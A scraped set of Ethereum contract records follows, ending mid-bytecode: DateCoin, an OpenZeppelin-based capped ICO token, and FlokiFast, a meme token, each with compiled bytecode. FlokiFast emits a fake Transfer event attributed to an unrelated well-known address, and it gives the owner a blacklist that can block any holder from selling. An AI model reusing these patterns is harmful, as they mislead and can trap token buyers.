balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: zeppelin-solidity/contracts/token/CappedToken.sol /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply.add(_amount) <= cap); return super.mint(_to, _amount); } } // File: contracts/DateCoin.sol contract DateCoin is CappedToken, BurnableToken { string public constant name = "DateCoin ICO Token"; string public constant symbol = "DTC"; uint256 public constant decimals = 18; function DateCoin(uint256 _cap) public CappedToken(_cap) { } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610127578063095ea7b3146101b157806318160ddd146101d357806323b872dd146101f8578063313ce56714610220578063355274ea1461023357806340c10f191461024657806342966c6814610268578063661884631461028057806370a08231146102a25780637d64bcb4146102c15780638da5cb5b146102d457806395d89b4114610303578063a9059cbb14610316578063d73dd62314610338578063dd62ed3e1461035a578063f2fde38b1461037f575b600080fd5b341561010b57600080fd5b61011361039e565b604051901515815260200160405180910390f35b341561013257600080fd5b61013a6103ae565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017657808201518382015260200161015e565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b610113600160a060020a03600435166024356103e5565b34156101de57600080fd5b6101e6610451565b60405190815260200160405180910390f35b341561020357600080fd5b610113600160a060020a0360043581169060243516604435610457565b341561022b57600080fd5b6101e66105d9565b341561023e57600080fd5b6101e66105de565b341561025157600080fd5b610113600160a060020a03600435166024356105e4565b341561027357600080fd5b61027e60043561064b565b005b341561028b57600080fd5b610113600160a060020a0360043516602435610714565b34156102ad57600080fd5b6101e6600160a060020a036004351661080e565b34156102cc57600080fd5b610113610829565b34156102df57600080fd5b6102e76108b4565b604051600160a060020a03909116815260200160405180910390f35b341561030e57600080fd5b61013a6108c3565b341561032157600080fd5b610113600160a060020a03600435166024356108fa565b341561034357600080fd5b610113600160a060020a03600435166024356109f5565b341561036557600080fd5b6101e6600160a060020a0360043581169060243516610a99565b341561038a57600080fd5b61027e600160a060020a0360043516610ac4565b60035460a060020a900460ff1681565b60408051908101604052601281527f44617465436f696e2049434f20546f6b656e0000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a038316151561046e57600080fd5b600160a060020a03841660009081526001602052604090205482111561049357600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156104c657600080fd5b600160a060020a0384166000908152600160205260409020546104ef908363ffffffff610b5f16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610524908363ffffffff610b7116565b600160a060020a0380851660009081526001602090815260408083209490945587831682526002815283822033909316825291909152205461056c908363ffffffff610b5f16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b601281565b60045481565b60035460009033600160a060020a0390811691161461060257600080fd5b60035460a060020a900460ff161561061957600080fd5b60045460005461062f908463ffffffff610b7116565b111561063a57600080fd5b6106448383610b80565b9392505050565b600080821161065957600080fd5b600160a060020a03331660009081526001602052604090205482111561067e57600080fd5b5033600160a060020a0381166000908152600160205260409020546106a39083610b5f565b600160a060020a038216600090815260016020526040812091909155546106d0908363ffffffff610b5f16565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561077157600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107a8565b610781818463ffffffff610b5f16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a0390811691161461084757600080fd5b60035460a060020a900460ff161561085e57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600381527f4454430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561091157600080fd5b600160a060020a03331660009081526001602052604090205482111561093657600080fd5b600160a060020a03331660009081526001602052604090205461095f908363ffffffff610b5f16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610994908363ffffffff610b7116565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a2d908363ffffffff610b7116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610adf57600080fd5b600160a060020a0381161515610af457600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610b6b57fe5b50900390565b60008282018381101561064457fe5b60035460009033600160a060020a03908116911614610b9e57600080fd5b60035460a060020a900460ff1615610bb557600080fd5b600054610bc8908363ffffffff610b7116565b6000908155600160a060020a038416815260016020526040902054610bf3908363ffffffff610b7116565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001929150505600a165627a7a723058200c7a3d91800282c25fa4c658844ae538a6c0a9221ebd2239037956907e45462b0029
{"success": true, "error": null, "results": {}}
3,826
0xd89ffa2a141394569366521e1d89e724f45b52af
/** *Submitted for verification at */ /** *Submitted for verification */ /** $$$$$$$$\ $$\ $$\ $$\ $$$$$$$$\ $$\ $$ _____|$$ | $$ | \__|$$ _____| $$ | $$ | $$ | $$$$$$\ $$ | $$\ $$\ $$ | $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$\ $$ |$$ __$$\ $$ | $$ |$$ |$$$$$\ \____$$\ $$ _____|\_$$ _| $$ __| $$ |$$ / $$ |$$$$$$ / $$ |$$ __|$$$$$$$ |\$$$$$$\ $$ | $$ | $$ |$$ | $$ |$$ _$$< $$ |$$ | $$ __$$ | \____$$\ $$ |$$\ $$ | $$ |\$$$$$$ |$$ | \$$\ $$ |$$ | \$$$$$$$ |$$$$$$$ | \$$$$ | \__| \__| \______/ \__| \__|\__|\__| \_______|\_______/ \____/ *Submitted for verification at */ // $FlokiFast // Telegram: https://t.me/FlokiFast // Website: www.flokifast.xyz // Introducing the fastest coin on the blockchain to only go up. // 20%+ Slippage // Liquidity will be locked // Ownership will be renounced // EverRise fork, special thanks to them! // Manual buybacks // Fair Launch, no Dev Tokens. 100% LP. // Snipers will be nuked. // SPDX-License-Identifier: Unlicensed // Welcome Baby pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiFast is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "FlokiFast"; string private constant _symbol = "FlokiFast"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600981526020017f466c6f6b69466173740000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f466c6f6b69466173740000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffff